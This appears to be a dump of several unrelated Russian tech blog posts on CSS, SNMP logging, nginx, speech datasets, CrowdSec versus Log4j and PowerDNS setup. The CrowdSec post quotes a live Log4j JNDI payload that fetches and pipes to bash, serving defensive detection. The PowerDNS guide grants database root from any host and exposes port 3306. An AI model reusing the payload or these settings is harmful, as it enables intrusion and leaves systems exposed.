Состоит из времени, заголовка и текста.
```
TWITTER FEED
22 oct
In ultricies pellentesque massa a porta. Aliquam ipsum enim, hendrerit ut porta nec, ullamcorper et nulla. In eget mi dui, sit amet scelerisque nunc.
```
В стилях задаем размер блока, цвета и прочие стили:
```
.b-twitter
{
width:300px;
}
.b-twitter__header,.b-sitemap__header,.b-networks__header
{
color:#fff;
font-size:14px;
width:100%;
border-bottom:1px solid #878787;
}
.b-twitter__time
{
margin-top:5px;
font-size:11px;
color:#b4aeae;
text-decoration:underline;
}
.b-twitter__text
{
margin-top:5px;
font-size:11px;
color:#dbdbdb;
}
```
Здесь же задали и стили заголовков для остальных блоков (т.к. они одинаковы)
#### Sitemap
Карта сайта состоит из блоков-ссылок, для которых с помощью модификаторов убираем нижнее подчеркивание и красим в белый цвет.
Эффект 2 колонок получаем за счет указания размера блока + одной группе ссылок задаем float:left, другой float: right:
```
SITEMAP
[Home](#)
[About](#)
[Services](#)
[Partners](#)
[Support](#)
[Contact](#)
```
CSS:
```
.b-sitemap__links
{
float:left;
}
.b-link_white
{
color:#dbdbdb;
}
.b-link_undecorate
{
text-decoration:none;
}
.b-link_block
{
margin-top:8px;
display:block;
}
.b-sitemap__links_right
{
float:right;
margin-right:20px;
}
```
#### Social
Здесь воспользуемся спрайтами. (Спрайт -картинка, которая содержит набор других картинок) Соответственно, с помощью Background-image + background-position для каждого элемента блока выбираем необходимые части картинки:
```
SOCIAL NETWORKS
```
```
.b-networks__icon
{
background:url("../img/social.png") 0 0;
width:30px;
height:30px;
display: inline-block;
margin-top:10px;
margin-right:10px;
}
.b-networks__icon_small
{
width:16px;
height:16px;
margin-right:5px;
}
.b-networks__icon_twitter
{
background-position:0 0;
}
.b-networks__icon_facebook
{
background-position: -40px 0;
}
.b-networks__icon_google
{
background-position:-80px 0;
}
.b-networks__icon_vimeo
{
background-position:0 -38px;
}
.b-networks__icon_youtube
{
background-position: -23px -38px;
}
.b-networks__icon_flickr
{
background-position: -46px -38px;
}
.b-networks__icon_instagram
{
background-position: -69px -38px;
}
.b-networks__icon_rss
{
background-position: -92px -38px;
}
```
Малые иконки от «стандартных» отличаются только модификатором, задающим размер.
#### Footer logo
Для лого в футере странице воспользуемся уже готовым блоком b-logo. Вставим данный блок внутрь элемента, который будет отформатирован с помощью float:right;
```
[](#)
Copyright 2012 Whitesquare. A [pcklab](#) creation
```
```
.b-footer__logo
{
float:right;
margin-top:23px;
margin-right:40px;
}
.b-footer-logo__img
{
float:right;
}
.b-footer-logo__copyright
{
clear:right;
}
.b-link_small
{
font-size:10px;
}
.b-footer-logo__copyright
{
font-size:10px;
color:#dbdbdb;
}
```
#### Подведем итог
В данном обучающем посте мной была поставлена задача показать, что использование методологий (таких как БЭМ) позволяет упростить разработку веб-страниц за счет «единого словаря терминологий» и единой структуры страницы.
Также, данный пост является дополнением моего комментария (в начале поста) в котором я говорил о том, почему использовать стили на id — есть bad practices.
Соответственно, ссылка на git-pages и github:
[xnimorz.github.io/ex-habr](http://xnimorz.github.io/ex-habr/)
[github.com/xnimorz/ex-habr](https://github.com/xnimorz/ex-habr)
Благодарю за внимание! | https://habr.com/ru/post/203440/ | null | ru | null |
# Журналирование Windows EventLog и система оповещения для администраторов
Некоторое количество времени(года три) назад, в попытке найти способ экспорта Windows EventLog, была найдена возможность в удобном виде осуществлять аудит различных событий происходящих на сервере.
Microsoft своими «добрыми» технологиями сделала Windows практически несовместимым со штатными системами журналирования событий(syslog), но оставила небольшую лазейку которую можно использовать.
Лазейка представляет собой комбинацию SNMP trap и программы экспорта системных событий evntwin.
Для работы связки нужен настроенный snmptrapd, а также активированный сервис SNMP на windows сервере (добавляется через «добавление/удаление компонентов»).
Первым делом нужно настроить сервер на который будут сбрасываться сообщения из Eventlog.
После того как сервис настроен, запускаем программу evntwin.exe
[technet.microsoft.com/en-us/library/cc759390%28WS.10%29.aspx](http://technet.microsoft.com/en-us/library/cc759390%28WS.10%29.aspx)
Как она выглядит видно на следующем скриншоте.
[](http://aborche.com/pics/topics/events/evntwin.png)
[](http://aborche.com/pics/topics/events/evntwin_edit.png)
Принцип использования evntwin прост. Вы выбираете категорию и код события которые Вас интересуют и добавляете их в список. При наступлении события сообщение одновременно будет сохранено в EventLog, а также будет «трапнуто» на сервер мониторинга.
На сервере мониторинга в snmptrapd.conf нужно добавить строку обработчика.
> `1. authCommunity log,execute public
> 2. format1 Trap from %B
> 3. format2 Trap from %B
> 4. traphandle default /usr/local/etc/trapd.pl`
Сам обработчик написан мной на perl, код можно взять по ссылке [trapd.pl](http://aborche.com/pics/topics/events/trapd.pl.txt)(Не рекомендуется копипастить подсвеченный код из поста, лучше взять по ссылке). Он разбирает входящие trap сообщения и формирует письмо администраторам.
> `#!/usr/bin/perl
>
> use vars qw /$hostname $source $oid @data $trap $error/;
>
> my @indata = (<>);
> $trap->{hostname} = shift(@indata);
> $trap->{source} = shift(@indata);
> $trap->{uptime} = shift(@indata);
> (undef,$trap->{uptime}) = split (/ /,$trap->{uptime},2);
> $trap->{oid} = shift(@indata);
> open OUT,">>/var/log/snmptrapd.log";
> chomp($trap->{hostname});
> chomp($trap->{source});
> chomp($trap->{uptime});
> chomp($trap->{oid});
> print OUT "Hostname: $trap->{hostname}\n";
> print OUT "Source: $trap->{source}\n";
> print OUT "Uptime: $trap->{uptime}\n";
> $trap->{oid} =~ s/(.\*)\.(\d+)$/$2/g;
> print OUT "OID: $trap->{oid}\n";
> my $str = join("",@indata);
> $str =~ s/\t+|\r+|\"//g;
> $str =~ s/\n+/\n/g;
> my @data = split (/SNMPv2\-SMI\:\:enterprises\.311\.1\.13\.1\.9999\.\d+\.0\s/,$str);
> undef $error;
> my $part = $data[1];
> my @str = split(/\n/,$part);
> $trap->{subject} = $str[0];
> $trap->{subject} =~ s/\:$//;
> $error = "Hostname: $trap->{hostname}\n";
> $error .= "Source: $trap->{source}\n\n";
> foreach my $line (@str)
> {
> if($line =~ /^(.\*)\:\-/)
> {
> next;
> }
> else
> {
> push(@arrout,$line);
> }
> }
> $error .= join ("\n",@arrout);
> print OUT @data,"\n";
> &mail\_send;
>
> close OUT;
> exit(0);
>
> sub mail\_send
> {
> # my @arr = shift;
> use Net::SMTP;
> $smtp = Net::SMTP->new('localhost');
> $smtp->mail('security@nagios.mydomain.ru');
> $smtp->to('account\_admin@mydomain.ru');
> $smtp->data();
> $smtp->datasend("To: account\_admin\@mydomain.ru\n");
> $smtp->datasend("Subject: $trap->{subject}\n");
> $smtp->datasend("\n");
> $smtp->datasend($error);
> $smtp->dataend();
> $smtp->quit;
> }`
В итоге получаем вот такие красивые письма
> Hostname: bdc.mydoman.ru
>
> Source: UDP: [192.168.0.3]:1081
>
>
>
> Change Password Attempt:
>
> Target Account Name:pupkin\_v
>
> Target Domain:MYDOM
>
> Target Account ID:%{S-1-5-21-1191404879-1933194844-817656539-2675}
>
> Caller User Name:pupkin\_v
>
> Caller Domain:MYDOM
>
> Caller Logon ID:(0x0,0x39B1BD)
>
>
> Hostname: sadc.mydomain.ru
>
> Source: UDP: [192.168.0.4]:1074
>
>
>
> User Account Locked Out:
>
> Target Account Name:ivanov\_v
>
> Target Account ID:%{S-1-5-21-1191404879-1933194844-817656539-5229}
>
> Caller Machine Name:MX
>
> Caller User Name:SADC$
>
> Caller Domain:MYDOM
>
> Caller Logon ID:(0x0,0x3E7)
>
>
> Hostname: sadc.mydomain.ru
>
> Source: UDP: [192.168.0.4]:1072
>
>
>
> Logon Failure:
>
> Reason:Unknown user name or bad password
>
> User Name:Popov\_V
>
> Domain:MYDOM
>
> Logon Type:3
>
> Logon Process:Advapi
>
> Authentication Package:Negotiate
>
> Workstation Name:SADC
>
> Caller User Name:SADC$
>
> Caller Domain:MYDOM
>
> Caller Logon ID:(0x0,0x3E7)
>
> Caller Process ID:580
>
> Source Network Address:192.168.0.20
>
> Source Port:36018
>
>
Так как мы подписаны только на интересующие нас сообщения, мы не видим остального системного мусора из EventLog.
Очень удобна данная система при вирусных эпидемиях типа Kido, когда сразу нельзя понять откуда пошло всё размножаться или при брутфорсе системных паролей. Потому что чётко виден Logon Failure и имя машины с которой была неудачная попытка.
Спокойной Вам работы.
PS: готовый конфиг с представленными на скриншоте категориями лежит [тут](http://aborche.com/pics/topics/events/events.cnf)
`(C) Aborche 2009
` | https://habr.com/ru/post/65652/ | null | ru | null |
# Nginx: точно вовремя
Хочу написать о небольшом трюке с SSI, который недавно мне пригодился.
Предположим, вам нужно выкатить немного изменённый вариант некоей странички ровно в полночь, или в любое другое очень неудобное время, когда все нормальные люди давно спят. Также, предположим, вам не хочется возиться с кроном, и вообще, у вас всё тысячу раз протестировано, так что ничего случиться не может. :)
Для этой цели, мы можем воспользоваться nginx-овым SSI. Никаких изменений в конфиг nginx вносить не придётся, а сама страничка может выглядеть примерно так:
И теперь, ровно в полночь, 1 января 2010 года, ваши пользователи увидят поздравление с новым годом на месте какого-то обычного блока. Причём, вы в это время можете спокойно спать (ну или, пьянствовать с друзьями). :) Более того, ровно в полночь, второго января, поздравление исчезнет, без малейшего вашего участия.
Этот метод, конечно же, можно расширить и улучшить, достигая самых необычных результатов. Например, можно, в автоматическом режиме, каждую пятницу, поздравлять пользователей с окончанием рабочей недели.
Естественно, у него есть и недостатки:
— ваш if будет исполняться при каждой отдаче страницы — это может быть критично на серверах с очень медленным процессором, или на VPS;
— некоторые промежутки времени таким образом определить всё-же не получится, или это потребует не одного оператора «if»;
— что-то ещё… :)
Но, в целом — неплохое, удобное, а главное, быстрое решение. | https://habr.com/ru/post/69509/ | null | ru | null |
# Огромный открытый датасет русской речи версия 1.0
В начале этого года по ряду причин мы загорелись идеей создать самый большой открытый датасет русской речи. Подробнее о нашей мотивации и о том, как всё начиналось,
можно прочитать в этой статье — [Огромный открытый датасет русской речи](https://habr.com/ru/post/450760/). С тех пор наш [проект](https://github.com/snakers4/open_stt) прошел через ряд масштабных изменений, мы в три раза увеличили количество данных, повысили их качество, добавили лейблы для спикеров и сейчас мы наконец готовы представить вам версию 1.0.
Также мы не готовы останавливаться на достигнутом и планируем продолжать делать интесивную работу над ошибками в последующих версиях и улучшать качество уже опубликованных данных. Версию 1.1 мы планируем посвятить масштабной работе над ошибками.
**Кратко об Open STT v1.0**
===========================
* Более **20 000 часов** (изначально мы ставили себе планку в 10 000 часов) аудио русской речи, 2.3 Tb данных (в формате `wav`, в формате `.mp3` конечно меньше);
* Большое разнообразие доменов: начиная с аудио, записанных на профессиональный микрофон, заканчивая телефонными звонками:
| Домен | Аннотация | Фразы | Часы | GB |
| --- | --- | --- | --- | --- |
| Радио | Alignment | 8,3М | 11,996 | 1367 |
| Публичная речь | Alignment | 1,7M | 2,709 | 301 |
| Youtube | Субтитры | 2,6М | 2,117 | 346 |
| Книги | Alignment/ASR | 1,3М | 1,632 | 180 |
| Звонки | ASR | 695K | 819 | 91 |
| Другие датасеты | TTS, начитывание | 1.9M | 835 | 95 |
Более детально со статистикой можно познакомиться в [репозитории](https://github.com/snakers4/open_stt) проекта.
* Теперь данные можно скачать на высокой скорости как в `.wav`(mono, 16KHz, int16) формате через торрент, так и по прямой ссылке в `.mp3`;
* Добавили небольшой вручную размеченный валидационный датасет (18 часов) для 3х основных доменов;
Мы приложили максимум усилий для повышения качества разметки:
* Усовершенстовали модель для алайнмента новых доменов;
* Использовали более качественные и тонко настроенные STT-модели для алайнмента;
* Улучшили алгоритм нормализации цифр и латиницы;
* Постепенно переразмечаем/убираем "грязные" данные из прошлых версий;
* Вылечили ряд детских проблем датасета таких как:
+ "Болтающиеся" одиночные буквы в начале и конце предложений;
+ Низкий выход алайнмента вследствие низкого качества моделей;
+ "Правильная" работа со знаками препинания во время алайнмента;
* (Скоро!) Появятся настоящие лейблы для спикеров;
Для каких задач может пригодиться наш датасет?
----------------------------------------------
* Распознавание речи;
* Синтез речи;
* Денойзинг, устранение шума в аудио;
* Идентификация голоса;
* Разделение дикторов;
Как планируем развивать датасет в дальнейшем?
---------------------------------------------
* Улучшить / перезалить существующие датасеты, почистить разметку;
* Опубликовать модели для распознования речи и постпроцессинга;
* Добавить разметку со speaker id. Для части новых доменов есть готовая разметка, но есть также идея добавить спикеров и в старые датасеты;
* Возможно переключиться на другие языки;
* Возможно добавить несколько новых доменов;
Подробнее познакомиться с новыми доменами можно в [репозитории](https://github.com/snakers4/open_stt) | https://habr.com/ru/post/474462/ | null | ru | null |
# yandex-speech — wrapper к речевым технологиям Яндекса
Ознакомившись с [обзором движков для распознавания речи](http://habrahabr.ru/post/231629/), заметил там API от Яндекса. И на выходных написал небольшую обертку для Node.js для распознавания речи с целью поиска мата в своих телефонных разговорах. По мотивам [топика](http://habrahabr.ru/post/225179/) на Хабре.
Список нецензурных слов выкладывать не буду, а сам npm устанавливается командой.
```
npm install yandex-speech
```
Исходники и примеры использования:
github: [www.github.com/antirek/yandex-speech](http://www.github.com/antirek/yandex-speech)
Немного деталей:
Ключ API активировали в течение трех часов. В запросе так и написал: «нужен тестовый ключ, запросов будет 10-20 штук в день». Ключ, указанный в примерах, блокирован. Запросите, пожалуйста, свой: [developer.tech.yandex.ru](https://developer.tech.yandex.ru/)
В [документации](http://api.yandex.ru/speechkit/cloud-api/doc/index.xml) написан пример, подобный запросу curl типа
`curl -v -4 -H "Content-Type: audio/x-mpeg-3" -d "@examples/data/1.mp3" "asr.yandex.net/asr_xml?key=yandex_developer_key&uuid=12345678123456781234567812345678&topic=general⟨=ru-RU"`
Оказалось, что можно и так отправить:
`curl -v -4 -F "Content-Type=audio/x-mpeg-3" -F "audio=@examples/data/1.mp3" "asr.yandex.net/asr_xml?key=yandex_developer_key&uuid=12345678123456781234567812345678&topic=general⟨=ru-RU"`
Добавил проверку размера отправляемого аудиофайла, не более 1Мб, т.к. сервис ругается на файлы большего размера.
Также добавил враппер для генерации аудиофайла по тексту. Неофициальное API по мотивам [комментария](http://habrahabr.ru/post/225179/#comment_7658675) на Хабре. Чтобы и text2speech, и speech2text в одном флаконе.
Надеюсь, что кому-то еще пригодится в хозяйстве. Вопросы, пожелания, критика по коду? | https://habr.com/ru/post/232861/ | null | ru | null |
# Как CrowdSec помогает справиться с уязвимостью в Log4j
*Привет, Хабр! Обнаружение уязвимости нулевого дня в Log4j (CVE-2021-44228) привело к резкому росту числа атак на различные сервисы, использующие эту популярную библиотеку Java. Это связано в первую очередь с простотой, с которой уязвимостью могут воспользоваться даже сравнительно неопытные киберпреступники. Организации и администраторы сейчас в спешке закрывают дыру в своей ИТ-инфраструктуре, а мы в этом посте расскажем о том, что успел предпринять CrowdSec, чтобы защитить наше сообщество от хакерских атак.*
С момента появления данных об уязвимости в библиотеке Log4j по всему миру прошла волна попыток сканирования всевозможных сервисов. Целью большинства таких попыток было обнаружение уязвимых систем и внедрение вредоносного кода, который в дальнейшем позволил бы хакерам делать с ними почти что угодно. Поэтому, уже 10 декабря мы в срочном порядке опубликовали новый сценарий, который умеет выявлять подобные попытки сканирования и внедрения.
Вот простой пример перехваченной атаки, полученный от одного из членов нашего сообщества:
```
45.155.205.233 - - [10/Dec/2021:13:35:10 +0000] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4xNS4yMzguMTc1OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzUxLjE1LjIzOC4xNzU6ODApfGJhc2g=}"```
```
В этом примере злоумышленник пытается использовать уязвимость, чтобы заставить систему выполнить полезную нагрузку в Base64 из HTTP-запроса. В расшифрованном виде код выглядит так:
```
(curl -s 45.155.205.233:5874/51.15.238.175:80||wget -q -O- 45.155.205.233:5874/51.15.238.175:80)|bash
```
По сути, он «просит» цель подключиться к определенному IP-адресу и загрузить (с помощью curl или wget) то, что, вероятно, является вредоносным ПО (которое может использоваться для кражи данных или информации об учётных записях, добычи криптовалют и других целей), а затем выполнить его с теми же правами, что и запущенный сервис.
Другие виды атак используют скрытие кода в заголовках HTTP Referer или User-agent. Не исключено, что со временем киберпреступники найдут и более творческие способы внедрения полезной нагрузки, поэтому мы постоянно работаем над обновлениями для своего сценария. Например, мы уже заметили обфусцированные команды для обхода брандмауэров веб-приложений.
Как только мы выложили сценарий в свой хаб, от сообщества начали поступать первые данные. Вот как выглядит динамика этих данных, начиная с 10 декабря:
Источник (здесь и далее): CrowdSecЧерез несколько дней после обнаружения уязвимости количество поступивших сигналов и обнаруженных подозрительных IP-адресов начало резко расти. Это подтверждает эффективность нашего сообщества в большом масштабе. Всего за пару дней «сетевой эффект» позволил нам получить огромное количество данных, которыми мы с удовольствием делимся, чтобы помочь в разработке оперативного решения проблемы.
Эта диаграмма также является идеальной иллюстрацией эффективности коллективной работы. Как только новые IP-адреса обнаруживаются, они передаются всем другим пользователям платформы, автоматически блокируются и исчезают из журналов (это объясняет тенденцию увеличения/уменьшения показателя числа атак на графике).
Мы осознаем серьезность этой уязвимости в Log4j и, поскольку мы ценим сообщество пользователей и решительно выступаем за Open Source, мы решили опубликовать все обнаруженные IP-адреса в этом общедоступном [списке](https://gist.github.com/blotus/f87ed46718bfdc634c9081110d243166). Таким образом даже те пользвоатели, которые пока не применяют CrowdSec для защиты своей системы, смогут обновить правила брандмауэров, чтобы оперативно блокировать попытки доступа с этих IP-адресов. Особенно это касается «подтверждённых» (validated) адресов — они были обработаны при помощи нашего алгоритма консенсуса, то есть получили большое количество голосов от пользователей нашей платформы. Адреса в статусе «недостаточно данных» подозрительны, но всё же могут включать в себя ложные срабатывания. «Безвредные» (benign) адреса принадлежат пользователям, которые как правило не представляют угрозы для сообщества и могут использовать инструменты сканирования не для атак, а для получения полезных данных.
На момент публикации этого поста список содержит уже более 2,6 тысяч IP-адресов и продолжает расти. Если вы являетесь пользователем CrowdSec, вам ничего не нужно делать по этому поводу. Все эти IP-адреса автоматически добавляются в ваш «чёрный список».
Своевременное обнаружение атак — это прекрасно, но CrowdSec можно использовать не только для этого. Конечно, это не волшебная средство против атак, и оно не заменит обновление Log4j до последней версии. Тем не менее, наш сценарий позволяет любому пользователю CrowdSec почти мгновенно развернуть рабочий механизм защиты, который убережёт его систему от множества попыток сканирования и взлома.
Если вы уже являетесь пользователем CrowdSec, загрузите сценарий из нашего [хаба](https://hub.crowdsec.net/author/crowdsecurity/configurations/apache_log4j2_cve-2021-44228). А в этом коротком видео вы сможете увидеть его в действии:
Если вы еще не являетесь пользователем CrowdSec, но хотите проверить, не стали ли вы целью попыток использования уязвимостей, у нас есть отличная новость: вы можете установить CrowdSec и использовать наш [«режим повтора»](https://docs.crowdsec.net/docs/user_guides/replay_mode/). С его помощью вы сможете проанализировать свои логи серверов и проверить, кто и когда пытался использовать уязвимость в Log4j для доступа к вашей системе. Для этого понадобится наш новый сценарий и такой список команд:
```
sudo cscli hub update
sudo cscli scenarios install crowdsecurity/apache_log4j2_cve-2021-44228
sudo systemctl reload crowdsec
# sudo crowdsec --dsn "file://" -no-api --type
sudo crowdsec --dsn "file:///var/log/nginx/access.log" -no-api --type nginx
sudo cscli alerts list --scenario crowdsecurity/apache\_log4j2\_cve-2021-44228
```
И еще одна отличная новость! Мы также создали [трекер](https://crowdsec.net/log4j-tracker/), который отслеживает атаки с применением уязвимости в Log4j в режиме реального времени. С его помощью вы можете просмотреть, какие автономные системы киберпреступники используют чаще всего, увидеть перечень подозрительных IP-адресов с указанием стран и оценить количество проведенных с каждого из этих адресов атак. Все данные для трекера поступают от пользователей сообщества CrowdSec.
CVE-2021-44228 — чрезвычайно серьёзная уязвимость, и на её устранение уйдут как минимум месяцы. Но для нас она также послужила отличным подтверждением того, что наш подход верен и эффективен. В считанные часы с момента публикации нового сценария сообщество начало обмениваться данными и блокировать попытки доступа с подозрительных IP-адресов. Это позволило платформе в целом быстро отреагировать на угрозу и сформировать первую линию защиты, которая поможет, даже если библиотека Log4j в вашей системе ещё не была обновлена, а уязвимые службы не были идентифицированы.
Следите за актуальными новостями в сфере инфобеза на нашем [сайте](https://crowdsec.net/) и [GitHub](https://github.com/crowdsecurity/crowdsec). | https://habr.com/ru/post/597011/ | null | ru | null |
# Часть 1. Установка и настройка авторитетного DNS сервера на основе решения PowerDNS // Базовая установка
Добрый день!
В этой статье я опишу настройку авторитетного DNS сервера, на основе решения PowerDNS. PowerDNS — высокопроизводительный, бесплатный DNS сервер с открытым исходным кодом.
PowerDNS — представляет собой высокопроизводительный DNS-сервер, написанный на C++ и лицензируемый под лицензией GPL. Разработка ведётся в рамках поддержки Unix-систем; Windows-системы более не поддерживаются.
Сервер разработан в голландской компании PowerDNS.com Бертом Хубертом и поддерживается сообществом свободного программного обеспечения.
PowerDNS использует гибкую архитектуру хранения/доступа к данным, которая может получать DNS информацию с любого источника данных. Это включает в себя файлы, файлы зон (англ.) BIND, реляционные базы данных или директории LDAP.
PowerDNS по умолчанию настроен на обслуживание запросов из БД.
После выхода версии 2.9.20 программное обеспечение распространяется в виде двух компонентов — (Authoritative) Server (авторитетный DNS) и Recursor (рекурсивный DNS). Официальный сайт: [www.powerdns.com](https://www.powerdns.com/)
Итак, начнем все с чистой операционной системы CentOS, скачанной с официального сайта [www.centos.org](https://www.centos.org/).
Конфигурация моего оборудования:
HDD: 15Gb
RAM: 16Gb
CPU: 8\*2,4GHz
OS: CentOS 7 (x64)
Дистрибутив: CentOS-7-x86\_64-Minimal-1503-01.iso
Моя версия ПО:
PowerDNS authoritative v3.4.8
PowerDNS recursor v3.7.3
Poweradmin v2.1.7
1) Обновляем систему и подключаем репозитории:
```
yum update -y
yum clean all
rpm -Uvh http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
```
Проверяем:
```
yum repolist
```
2) Устанавливаем различные полезные утилиты
```
yum install net-tools wget bind-utils tcpdump unzip telnet traceroute -y
```
3) Отключение firewalld и устанавливаем iptables
```
systemctl stop firewalld
systemctl disable firewalld
yum -y install iptables-services
systemctl enable iptables.service
systemctl start iptables.service
iptables -L -v -n
```
Создаем правила для файервола
```
vi /etc/sysconfig/iptables
```
**Правила файервола**
```
# sample configuration for iptables service
# you can edit this manually or use system-config-firewall
# please do not ask us to add additional ports/services to this default configuration
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -i ens160 -j ACCEPT
-A INPUT -i ens192 -p tcp -m state --state NEW --dport 53 -j ACCEPT
-A INPUT -i ens192 -p udp -m state --state NEW --dport 53 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-host-prohibited
-A FORWARD -j REJECT --reject-with icmp-host-prohibited
-P INPUT DROP
COMMIT
```
И перезагружаем iptables
```
service iptables restart
```
4) Создаем папку со скриптами для управления
```
mkdir /script
```
```
vi /script/reload.sh
`service pdns restart
service httpd restart`
chmod +x /script/*.sh
```
5) Устанавливаем базу данных. Для Centos 7 лучше подходит MariaDB.
Тут есть несколько вариантов:
— Локальная база без репликации
— SQL кластер.
**Установка локальной базы без репликации**
Добавляем репозиторий.
```
sudo vi /etc/yum.repos.d/MariaDB.repo
```
Вставляем в файл следующие строки:
```
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/10.0/centos7-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=1
```
Устанавливаем
```
yum install MariaDB-client MariaDB-common MariaDB-compat MariaDB-devel MariaDB-server MariaDB-shared -y
```
Стартуем mysql
```
sudo /etc/init.d/mysql start
```
Затем выполните следующую команду, чтобы защитить сервер базы данных.
```
sudo mysql_secure_installation
```
Затем выберите «Y» (Да) для остальных подсказок, пока вы не закончите.
```
Enter current password for root (enter for none): press Enter
Set root password? Y
New password: Type new root password
Re-enter new password: Confirm the password
Remove anonymous users? Y
Disallow root login remotely? Y
Remove test database and access to it? Y
Reload privilege tables now? Y
```
Последнее, необходимо заменить cnf.ini файл по умолчанию в /etc/ для MariaDB. Но для начала нужно перейти в:
```
cd /usr/share/mysql
```
И использовать один из предопределенных cnf.ini конфигураций которые доступны (Huge, Medium и Small) в данной папке.
Сделаем резервное копирование cnf.ini файла:
```
sudo mv /etc/cnf.ini /etc/cnf.ini.bak
```
Затем скопируйте один из предварительных конфигураций в MariaDB:
```
sudo cp /usr/share/mysql/my-huge.cnf /etc/cnf.ini
```
Перезапускаем MariaDB и добавляем в автозапуск
```
sudo /etc/init.d/mysql restart
systemctl status mysql
systemctl enable mysql
ss -tnlp | grep 3306
netstat -tap | grep mysql
```
Мне нужно создать пользователя и чтобы он мог подключатся с любого компьютера, для этого:
```
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'imperituroard'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
exit
```
Можно попробовать подключиться к базе данных, например с помощью программы Navicat Premium.
**Также в качестве базы данных для PowerDNS, можно использовать SQL кластер.**
[Настройка SQL кластера](http://www.unixmen.com/setup-mariadb-galera-cluster-10-0-centos/)
Ноды кластера устанавливаются на тех же серверах, что и сам PowerDNS. При изменении зоны на одном сервере, происходит репликация базы, следовательно зона изменяется на другом сервере.
Я устанавливал кластер так:
Добавляем репозиторий MariaDB как в первой части статьи и устанавливаем необходимые пакеты.
```
sudo setenforce 0
sudo yum -y install socat
sudo yum -y install MariaDB-Galera-server MariaDB-client rsync galera
sudo service mysql start
sudo /usr/bin/mysql_secure_installation
```
Создаем пользователей
```
mysql -u root -p
DELETE FROM mysql.user WHERE user='';
GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'dbpassDw1yx78whxwF5sX';
GRANT USAGE ON *.* to sst_user@'%' IDENTIFIED BY 'dbpassDw1yx78whxwF5sX';
GRANT ALL PRIVILEGES on *.* to sst_user@'%';
FLUSH PRIVILEGES;
quit
```
Конфигурирование нод
Первая нода:
```
sudo service mysql stop
sudo cat >> /etc/my.cnf.d/server.cnf << EOF
binlog_format=ROW
default-storage-engine=innodb
innodb_autoinc_lock_mode=2
innodb_locks_unsafe_for_binlog=1
query_cache_size=0
query_cache_type=0
bind-address=0.0.0.0
datadir=/var/lib/mysql
innodb_log_file_size=100M
innodb_file_per_table
innodb_flush_log_at_trx_commit=2
wsrep_provider=/usr/lib64/galera/libgalera_smm.so
wsrep_cluster_address="gcomm://172.24.184.177,172.24.184.178"
wsrep_cluster_name='ard_cluster'
wsrep_node_address='172.24.184.177'
wsrep_node_name='db1'
wsrep_sst_method=rsync
wsrep_sst_auth=sst_user:dbpassDw1yx78whxwF5sX
EOF
```
Вторая нода:
```
sudo service mysql stop
sudo cat >> /etc/my.cnf.d/server.cnf << EOF
binlog_format=ROW
default-storage-engine=innodb
innodb_autoinc_lock_mode=2
innodb_locks_unsafe_for_binlog=1
query_cache_size=0
query_cache_type=0
bind-address=0.0.0.0
datadir=/var/lib/mysql
innodb_log_file_size=100M
innodb_file_per_table
innodb_flush_log_at_trx_commit=2
wsrep_provider=/usr/lib64/galera/libgalera_smm.so
wsrep_cluster_address="gcomm://172.24.184.177,172.24.184.178"
wsrep_cluster_name='ard_cluster'
wsrep_node_address='172.24.184.178'
wsrep_node_name='db2'
wsrep_sst_method=rsync
wsrep_sst_auth=sst_user:dbpassDw1yx78whxwF5sX
EOF
```
Запуск на первичной ноде (primary)
```
sudo /etc/init.d/mysql start --wsrep-new-cluster
```
Запуск на остальных нодах (secondary)
```
sudo /etc/init.d/mysql start
```
Проверяем репликацию
На каждой ноде смотрим статус кластера:
```
mysql -u root -p -e "show status like 'wsrep%'"
```
Создаем тестовую базу данных на первой ноде
```
mysql -u root -p -e 'CREATE DATABASE clustertest;'
mysql -u root -p -e 'CREATE TABLE clustertest.mycluster ( id INT NOT NULL AUTO_INCREMENT, name VARCHAR(50), ipaddress VARCHAR(20), PRIMARY KEY(id));'
mysql -u root -p -e 'INSERT INTO clustertest.mycluster (name, ipaddress) VALUES ("db1", "172.24.184.177");'
```
Проверяем наличие этой базы на каждой ноде
```
mysql -u root -p -e 'SELECT * FROM clustertest.mycluster;'
```
На всех нодах, должно быть правильно установленно время, это обязательно. Иначе вы столкнётесь с тем что, при SST ноды с донора, синхронизируемая нода будет просто чего-то ждать, без каких бы то ни было признаком активности.
Устанавливаем ntp:
```
yum install ntp -y
systemctl enable ntpd.service
service ntpd start
```
Также можно указать свой ntp сервер в файле /etc/ntp.conf
6) Создание и настройка базы данных для PowerDNS
Описано на официальном сайте [doc.powerdns.com](https://doc.powerdns.com/md/authoritative/howtos/#basic-setup-configuring-database-connectivity)
Создаем файл pdns.sql в /root и выполняем команду:
```
mysql -u root -p < /root/pdns.sql
```
**Содержимое файла pdns.sql**
```
CREATE DATABASE powerdns character set utf8;
GRANT ALL ON powerdns.* TO 'imperituroard'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
USE powerdns;
CREATE TABLE domains (
id INT AUTO_INCREMENT,
name VARCHAR(255) NOT NULL,
master VARCHAR(128) DEFAULT NULL,
last_check INT DEFAULT NULL,
type VARCHAR(6) NOT NULL,
notified_serial INT DEFAULT NULL,
account VARCHAR(40) DEFAULT NULL,
PRIMARY KEY (id)
) Engine=InnoDB;
CREATE UNIQUE INDEX name_index ON domains(name);
CREATE TABLE records (
id INT AUTO_INCREMENT,
domain_id INT DEFAULT NULL,
name VARCHAR(255) DEFAULT NULL,
type VARCHAR(10) DEFAULT NULL,
content VARCHAR(64000) DEFAULT NULL,
ttl INT DEFAULT NULL,
